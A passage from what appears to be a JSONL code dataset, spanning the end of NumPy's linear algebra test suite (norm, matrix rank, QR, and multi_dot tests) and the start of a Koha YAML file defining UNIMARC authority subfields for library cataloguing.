test_axis(self):\n # Vector norms.\n # Compare the use of `axis` with computing the norm of each row\n # or column separately.\n A = array([[1, 2, 3], [4, 5, 6]], dtype=self.dt)\n for order in [None, -1, 0, 1, 2, 3, np.Inf, -np.Inf]:\n expected0 = [norm(A[:, k], ord=order) for k in range(A.shape[1])]\n assert_almost_equal(norm(A, ord=order, axis=0), expected0)\n expected1 = [norm(A[k, :], ord=order) for k in range(A.shape[0])]\n assert_almost_equal(norm(A, ord=order, axis=1), expected1)\n\n # Matrix norms.\n B = np.arange(1, 25, dtype=self.dt).reshape(2, 3, 4)\n nd = B.ndim\n for order in [None, -2, 2, -1, 1, np.Inf, -np.Inf, 'fro']:\n for axis in itertools.combinations(range(-nd, nd), 2):\n row_axis, col_axis = axis\n if row_axis < 0:\n row_axis += nd\n if col_axis < 0:\n col_axis += nd\n if row_axis == col_axis:\n assert_raises(ValueError, norm, B, ord=order, axis=axis)\n else:\n n = norm(B, ord=order, axis=axis)\n\n # The logic using k_index only works for nd = 3.\n # This has to be changed if nd is increased.\n k_index = nd - (row_axis + col_axis)\n if row_axis < col_axis:\n expected = [norm(B[:].take(k, axis=k_index), ord=order)\n for k in range(B.shape[k_index])]\n else:\n expected = [norm(B[:].take(k, axis=k_index).T, ord=order)\n for k in range(B.shape[k_index])]\n assert_almost_equal(n, expected)\n\n def test_keepdims(self):\n A = np.arange(1, 25, dtype=self.dt).reshape(2, 3, 4)\n\n allclose_err = 'order {0}, axis = {1}'\n shape_err = 'Shape mismatch found {0}, expected {1}, order={2}, axis={3}'\n\n # check the order=None, axis=None case\n expected = norm(A, ord=None, axis=None)\n found = norm(A, ord=None, axis=None, keepdims=True)\n assert_allclose(np.squeeze(found), expected,\n err_msg=allclose_err.format(None, None))\n expected_shape = (1, 1, 1)\n assert_(found.shape == expected_shape,\n shape_err.format(found.shape, expected_shape, None, None))\n\n # Vector norms.\n for order in [None, -1, 0, 1, 2, 3, np.Inf, -np.Inf]:\n for k in range(A.ndim):\n expected = norm(A, ord=order, axis=k)\n found = norm(A, ord=order, axis=k, keepdims=True)\n assert_allclose(np.squeeze(found), expected,\n err_msg=allclose_err.format(order, k))\n expected_shape = list(A.shape)\n expected_shape[k] = 1\n expected_shape = tuple(expected_shape)\n assert_(found.shape == expected_shape,\n shape_err.format(found.shape, expected_shape, order, k))\n\n # Matrix norms.\n for order in [None, -2, 2, -1, 1, np.Inf, -np.Inf, 'fro', 'nuc']:\n for k in itertools.permutations(range(A.ndim), 2):\n expected = norm(A, ord=order, axis=k)\n found = norm(A, ord=order, axis=k, keepdims=True)\n assert_allclose(np.squeeze(found), expected,\n err_msg=allclose_err.format(order, k))\n expected_shape = list(A.shape)\n expected_shape[k[0]] = 1\n expected_shape[k[1]] = 1\n expected_shape = tuple(expected_shape)\n assert_(found.shape == expected_shape,\n shape_err.format(found.shape, expected_shape, order, k))\n\n def test_bad_args(self):\n # Check that bad arguments raise the appropriate exceptions.\n\n A = array([[1, 2, 3], [4, 5, 6]], dtype=self.dt)\n B = np.arange(1, 25, dtype=self.dt).reshape(2, 3, 4)\n\n # Using `axis=` or passing in a 1-D array implies vector\n # norms are being computed, so also using `ord='fro'`\n # or `ord='nuc'` raises a ValueError.\n assert_raises(ValueError, norm, A, 'fro', 0)\n assert_raises(ValueError, norm, A, 'nuc', 0)\n assert_raises(ValueError, norm, [3, 4], 'fro', None)\n assert_raises(ValueError, norm, [3, 4], 'nuc', None)\n\n # Similarly, norm should raise an exception when ord is any finite\n # number other than 1, 2, -1 or -2 when computing matrix norms.\n for order in [0, 3]:\n assert_raises(ValueError, norm, A, order, None)\n assert_raises(ValueError, norm, A, order, (0, 1))\n assert_raises(ValueError, norm, B, order, (1, 2))\n\n # Invalid axis\n assert_raises(ValueError, norm, B, None, 3)\n assert_raises(ValueError, norm, B, None, (2, 3))\n assert_raises(ValueError, norm, B, None, (0, 1, 2))\n\n\nclass TestNorm_NonSystematic(object):\n\n def test_longdouble_norm(self):\n # Non-regression test: p-norm of longdouble would previously raise\n # UnboundLocalError.\n x = np.arange(10, dtype=np.longdouble)\n old_assert_almost_equal(norm(x, ord=3), 12.65, decimal=2)\n\n def test_intmin(self):\n # Non-regression test: p-norm of signed integer would previously do\n # float cast and abs in the wrong order.\n x = np.array([-2 ** 31], dtype=np.int32)\n old_assert_almost_equal(norm(x, ord=3), 2 ** 31, decimal=5)\n\n def test_complex_high_ord(self):\n # gh-4156\n d = np.empty((2,), dtype=np.clongdouble)\n d[0] = 6 + 7j\n d[1] = -6 + 7j\n res = 11.615898132184\n old_assert_almost_equal(np.linalg.norm(d, ord=3), res, decimal=10)\n d = d.astype(np.complex128)\n old_assert_almost_equal(np.linalg.norm(d, ord=3), res, decimal=9)\n d = d.astype(np.complex64)\n old_assert_almost_equal(np.linalg.norm(d, ord=3), res, decimal=5)\n\n\nclass TestNormDouble(_TestNorm):\n dt = np.double\n dec = 12\n\n\nclass TestNormSingle(_TestNorm):\n dt = np.float32\n dec = 6\n\n\nclass TestNormInt64(_TestNorm):\n dt = np.int64\n dec = 12\n\n\nclass TestMatrixRank(object):\n\n def test_matrix_rank(self):\n # Full rank matrix\n yield assert_equal, 4, matrix_rank(np.eye(4))\n # rank deficient matrix\n I = np.eye(4)\n I[-1, -1] = 0.\n yield assert_equal, matrix_rank(I), 3\n # All zeros - zero rank\n yield assert_equal, matrix_rank(np.zeros((4, 4))), 0\n # 1 dimension - rank 1 unless all 0\n yield assert_equal, matrix_rank([1, 0, 0, 0]), 1\n yield assert_equal, matrix_rank(np.zeros((4,))), 0\n # accepts array-like\n yield assert_equal, matrix_rank([1]), 1\n # greater than 2 dimensions raises error\n yield assert_raises, TypeError, matrix_rank, np.zeros((2, 2, 2))\n # works on scalar\n yield assert_equal, matrix_rank(1), 1\n\n\ndef test_reduced_rank():\n # Test matrices with reduced rank\n rng = np.random.RandomState(20120714)\n for i in range(100):\n # Make a rank deficient matrix\n X = rng.normal(size=(40, 10))\n X[:, 0] = X[:, 1] + X[:, 2]\n # Assert that matrix_rank detected deficiency\n assert_equal(matrix_rank(X), 9)\n X[:, 3] = X[:, 4] + X[:, 5]\n assert_equal(matrix_rank(X), 8)\n\n\nclass TestQR(object):\n\n def check_qr(self, a):\n # This test expects the argument `a` to be an ndarray or\n # a subclass of an ndarray of inexact type.\n a_type = type(a)\n a_dtype = a.dtype\n m, n = a.shape\n k = min(m, n)\n\n # mode == 'complete'\n q, r = linalg.qr(a, mode='complete')\n assert_(q.dtype == a_dtype)\n assert_(r.dtype == a_dtype)\n assert_(isinstance(q, a_type))\n assert_(isinstance(r, a_type))\n assert_(q.shape == (m, m))\n assert_(r.shape == (m, n))\n assert_almost_equal(dot(q, r), a)\n assert_almost_equal(dot(q.T.conj(), q), np.eye(m))\n assert_almost_equal(np.triu(r), r)\n\n # mode == 'reduced'\n q1, r1 = linalg.qr(a, mode='reduced')\n assert_(q1.dtype == a_dtype)\n assert_(r1.dtype == a_dtype)\n assert_(isinstance(q1, a_type))\n assert_(isinstance(r1, a_type))\n assert_(q1.shape == (m, k))\n assert_(r1.shape == (k, n))\n assert_almost_equal(dot(q1, r1), a)\n assert_almost_equal(dot(q1.T.conj(), q1), np.eye(k))\n assert_almost_equal(np.triu(r1), r1)\n\n # mode == 'r'\n r2 = linalg.qr(a, mode='r')\n assert_(r2.dtype == a_dtype)\n assert_(isinstance(r2, a_type))\n assert_almost_equal(r2, r1)\n\n def test_qr_empty(self):\n a = np.zeros((0, 2))\n assert_raises(linalg.LinAlgError, linalg.qr, a)\n\n def test_mode_raw(self):\n # The factorization is not unique and varies between libraries,\n # so it is not possible to check against known values. Functional\n # testing is a possibility, but awaits the exposure of more\n # of the functions in lapack_lite. Consequently, this test is\n # very limited in scope. Note that the results are in FORTRAN\n # order, hence the h arrays are transposed.\n a = array([[1, 2], [3, 4], [5, 6]], dtype=np.double)\n\n # Test double\n h, tau = linalg.qr(a, mode='raw')\n assert_(h.dtype == np.double)\n assert_(tau.dtype == np.double)\n assert_(h.shape == (2, 3))\n assert_(tau.shape == (2,))\n\n h, tau = linalg.qr(a.T, mode='raw')\n assert_(h.dtype == np.double)\n assert_(tau.dtype == np.double)\n assert_(h.shape == (3, 2))\n assert_(tau.shape == (2,))\n\n def test_mode_all_but_economic(self):\n a = array([[1, 2], [3, 4]])\n b = array([[1, 2], [3, 4], [5, 6]])\n for dt in \"fd\":\n m1 = a.astype(dt)\n m2 = b.astype(dt)\n self.check_qr(m1)\n self.check_qr(m2)\n self.check_qr(m2.T)\n self.check_qr(matrix(m1))\n for dt in \"fd\":\n m1 = 1 + 1j * a.astype(dt)\n m2 = 1 + 1j * b.astype(dt)\n self.check_qr(m1)\n self.check_qr(m2)\n self.check_qr(m2.T)\n self.check_qr(matrix(m1))\n\n\ndef test_byteorder_check():\n # Byte order check should pass for native order\n if sys.byteorder == 'little':\n native = '<'\n else:\n native = '>'\n\n for dtt in (np.float32, np.float64):\n arr = np.eye(4, dtype=dtt)\n n_arr = arr.newbyteorder(native)\n sw_arr = arr.newbyteorder('S').byteswap()\n assert_equal(arr.dtype.byteorder, '=')\n for routine in (linalg.inv, linalg.det, linalg.pinv):\n # Normal call\n res = routine(arr)\n # Native but not '='\n assert_array_equal(res, routine(n_arr))\n # Swapped\n assert_array_equal(res, routine(sw_arr))\n\n\ndef test_generalized_raise_multiloop():\n # It should raise an error even if the error doesn't occur in the\n # last iteration of the ufunc inner loop\n\n invertible = np.array([[1, 2], [3, 4]])\n non_invertible = np.array([[1, 1], [1, 1]])\n\n x = np.zeros([4, 4, 2, 2])[1::2]\n x[...] = invertible\n x[0, 0] = non_invertible\n\n assert_raises(np.linalg.LinAlgError, np.linalg.inv, x)\n\n\ndef test_xerbla_override():\n # Check that our xerbla has been successfully linked in. If it is not,\n # the default xerbla routine is called, which prints a message to stdout\n # and may, or may not, abort the process depending on the LAPACK package.\n from nose import SkipTest\n\n XERBLA_OK = 255\n\n try:\n pid = os.fork()\n except (OSError, AttributeError):\n # fork failed, or not running on POSIX\n raise SkipTest(\"Not POSIX or fork failed.\")\n\n if pid == 0:\n # child; close i/o file handles\n os.close(1)\n os.close(0)\n # Avoid producing core files.\n import resource\n resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n # These calls may abort.\n try:\n np.linalg.lapack_lite.xerbla()\n except ValueError:\n pass\n except:\n os._exit(os.EX_CONFIG)\n\n try:\n a = np.array([[1.]])\n np.linalg.lapack_lite.dorgqr(\n 1, 1, 1, a,\n 0, # <- invalid value\n a, a, 0, 0)\n except ValueError as e:\n if \"DORGQR parameter number 5\" in str(e):\n # success, reuse error code to mark success as\n # FORTRAN STOP returns as success.\n os._exit(XERBLA_OK)\n\n # Did not abort, but our xerbla was not linked in.\n os._exit(os.EX_CONFIG)\n else:\n # parent\n pid, status = os.wait()\n if os.WEXITSTATUS(status) != XERBLA_OK:\n raise SkipTest('Numpy xerbla not linked in.')\n\n\nclass TestMultiDot(object):\n\n def test_basic_function_with_three_arguments(self):\n # multi_dot with three arguments uses a fast hand coded algorithm to\n # determine the optimal order. Therefore test it separately.\n A = np.random.random((6, 2))\n B = np.random.random((2, 6))\n C = np.random.random((6, 2))\n\n assert_almost_equal(multi_dot([A, B, C]), A.dot(B).dot(C))\n assert_almost_equal(multi_dot([A, B, C]), np.dot(A, np.dot(B, C)))\n\n def test_basic_function_with_dynamic_programing_optimization(self):\n # multi_dot with four or more arguments uses the dynamic programing\n # optimization and therefore deserve a separate\n A = np.random.random((6, 2))\n B = np.random.random((2, 6))\n C = np.random.random((6, 2))\n D = np.random.random((2, 1))\n assert_almost_equal(multi_dot([A, B, C, D]), A.dot(B).dot(C).dot(D))\n\n def test_vector_as_first_argument(self):\n # The first argument can be 1-D\n A1d = np.random.random(2) # 1-D\n B = np.random.random((2, 6))\n C = np.random.random((6, 2))\n D = np.random.random((2, 2))\n\n # the result should be 1-D\n assert_equal(multi_dot([A1d, B, C, D]).shape, (2,))\n\n def test_vector_as_last_argument(self):\n # The last argument can be 1-D\n A = np.random.random((6, 2))\n B = np.random.random((2, 6))\n C = np.random.random((6, 2))\n D1d = np.random.random(2) # 1-D\n\n # the result should be 1-D\n assert_equal(multi_dot([A, B, C, D1d]).shape, (6,))\n\n def test_vector_as_first_and_last_argument(self):\n # The first and last arguments can be 1-D\n A1d = np.random.random(2) # 1-D\n B = np.random.random((2, 6))\n C = np.random.random((6, 2))\n D1d = np.random.random(2) # 1-D\n\n # the result should be a scalar\n assert_equal(multi_dot([A1d, B, C, D1d]).shape, ())\n\n def test_dynamic_programming_logic(self):\n # Test for the dynamic programming part\n # This test is directly taken from Cormen page 376.\n arrays = [np.random.random((30, 35)),\n np.random.random((35, 15)),\n np.random.random((15, 5)),\n np.random.random((5, 10)),\n np.random.random((10, 20)),\n np.random.random((20, 25))]\n m_expected = np.array([[0., 15750., 7875., 9375., 11875., 15125.],\n [0., 0., 2625., 4375., 7125., 10500.],\n [0., 0., 0., 750., 2500., 5375.],\n [0., 0., 0., 0., 1000., 3500.],\n [0., 0., 0., 0., 0., 5000.],\n [0., 0., 0., 0., 0., 0.]])\n s_expected = np.array([[0, 1, 1, 3, 3, 3],\n [0, 0, 2, 3, 3, 3],\n [0, 0, 0, 3, 3, 3],\n [0, 0, 0, 0, 4, 5],\n [0, 0, 0, 0, 0, 5],\n [0, 0, 0, 0, 0, 0]], dtype=np.int)\n s_expected -= 1 # Cormen uses 1-based index, python does not.\n\n s, m = _multi_dot_matrix_chain_order(arrays, return_costs=True)\n\n # Only the upper triangular part (without the diagonal) is interesting.\n assert_almost_equal(np.triu(s[:-1, 1:]),\n np.triu(s_expected[:-1, 1:]))\n assert_almost_equal(np.triu(m), np.triu(m_expected))\n\n def test_too_few_input_arrays(self):\n assert_raises(ValueError, multi_dot, [])\n assert_raises(ValueError, multi_dot, [np.random.random((3, 3))])\n\n\nif __name__ == \"__main__\":\n run_module_suite()\n"} +{"text": "authsubfields:\n - authtypecode: TM\n isurl: ~\n liblibrarian: control field\n mandatory: 1\n repeatable: 0\n tab: 0\n tagfield: 001\n tagsubfield: '@'\n - authtypecode: TM\n liblibrarian: ark\n repeatable: 0\n tab: 0\n tagfield: 003\n tagsubfield: '@'\n - authtypecode: TM\n isurl: ~\n liblibrarian: control field\n mandatory: 1\n repeatable: 0\n tab: 0\n tagfield: 005\n tagsubfield: '@'\n - authtypecode: TM\n liblibrarian: PPN\n repeatable: 0\n tab: 0\n tagfield: 009\n tagsubfield: '@'\n - authtypecode: TM\n liblibrarian: number\n repeatable: 0\n tab: 0\n tagfield: 033\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Wrong or abandoned ISNI\n tab: 0\n tagfield: 033\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: System Control Number\n repeatable: 0\n tab: 0\n tagfield: 035\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Cancelled or invalid control number\n tab: 0\n tagfield: 035\n tagsubfield: z\n - authtypecode: TM\n defaultvalue: ' afrey5050####ba0'\n liblibrarian: General processing data\n mandatory: 1\n repeatable: 0\n tab: 0\n tagfield: 100\n tagsubfield: a\n value_builder: unimarc_field_100_authorities.pl\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language used by the entity\n tab: 0\n tagfield: 101\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of an intermediate expression\n tab: 0\n tagfield: 101\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of an original expression\n tab: 0\n tagfield: 101\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of summary\n tab: 0\n tagfield: 101\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of subtitles\n tab: 0\n tagfield: 101\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Translation language of entity\n tab: 0\n tagfield: 101\n tagsubfield: l\n - authtypecode: TM\n isurl: ~\n liblibrarian: Country\n tab: 0\n tagfield: 102\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Locality\n tab: 0\n tagfield: 102\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: One character code\n repeatable: 0\n tab: 0\n tagfield: 106\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'Coded data : historical period'\n repeatable: 0\n tab: 0\n tagfield: 122\n tagsubfield: a\n - authtypecode: TM\n defaultvalue: AFNOR\n isurl: ~\n liblibrarian: Cataloguing rules\n repeatable: 0\n tab: 0\n tagfield: 152\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject System\n repeatable: 0\n tab: 0\n tagfield: 152\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographic area code\n tab: 0\n tagfield: 160\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 300\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 300\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Information Note\n repeatable: 0\n tab: 0\n tagfield: 300\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 305\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 305\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n tab: 0\n tagfield: 305\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Heading Referred\n tab: 0\n tagfield: 305\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 310\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 310\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 310\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Heading Referred\n tab: 0\n tagfield: 310\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 320\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: General Explanatory Reference Note\n tab: 0\n tagfield: 320\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 330\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 330\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: General Scope Note\n repeatable: 0\n tab: 0\n tagfield: 330\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Note Text\n repeatable: 0\n tab: 0\n tagfield: 333\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject System Code\n repeatable: 0\n tab: 0\n tagfield: 340\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 340\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 340\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Biographical or Activity Note\n repeatable: 0\n tab: 0\n tagfield: 340\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Activity note\n repeatable: 0\n tab: 0\n tagfield: 340\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'Occupation - Profession'\n tab: 0\n tagfield: 340\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Function or field of activity\n tab: 0\n tagfield: 340\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 340\n tagsubfield: f\n - authtypecode: TM\n isurl: ~\n liblibrarian: Affiliation/Address\n tab: 0\n tagfield: 340\n tagsubfield: p\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 356\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 356\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Note\n repeatable: 0\n tab: 0\n tagfield: 356\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: -1\n tagfield: 416\n tagsubfield: 0\n - authtypecode: TM\n isurl: ~\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: -1\n tagfield: 416\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 416\n tagsubfield: 5\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: -1\n tagfield: 416\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: -1\n tagfield: 416\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: -1\n tagfield: 416\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 500\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NP\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Part of name other than entry element\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Qualifiers other than dates\n tab: 0\n tagfield: 500\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Roman numerals\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Expansion of initials of forename\n repeatable: 0\n tab: 0\n tagfield: 500\n tagsubfield: g\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 500\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: ISNI\n tab: 0\n tagfield: 500\n tagsubfield: o\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 500\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 500\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 500\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 501\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NP\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Part of name other than entry element\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Qualifiers other than dates\n tab: 0\n tagfield: 501\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Roman numerals\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Expansion of initials of forename\n repeatable: 0\n tab: 0\n tagfield: 501\n tagsubfield: g\n - authtypecode: TM\n frameworkcode: NP\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 502\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NP\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Part of name other than entry element\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Qualifiers other than dates\n tab: 0\n tagfield: 502\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Roman numerals\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Expansion of initials of forename\n repeatable: 0\n tab: 0\n tagfield: 502\n tagsubfield: g\n - authtypecode: TM\n liblibrarian: Part or role played\n tab: 0\n tagfield: 502\n tagsubfield: r\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 0\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: Relator code\n tab: 0\n tagfield: 510\n tagsubfield: 4\n - authtypecode: TM\n isurl: ~\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 5\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 8\n - authtypecode: TM\n isurl: ~\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: CO\n isurl: ~\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subdivision\n tab: 0\n tagfield: 510\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n 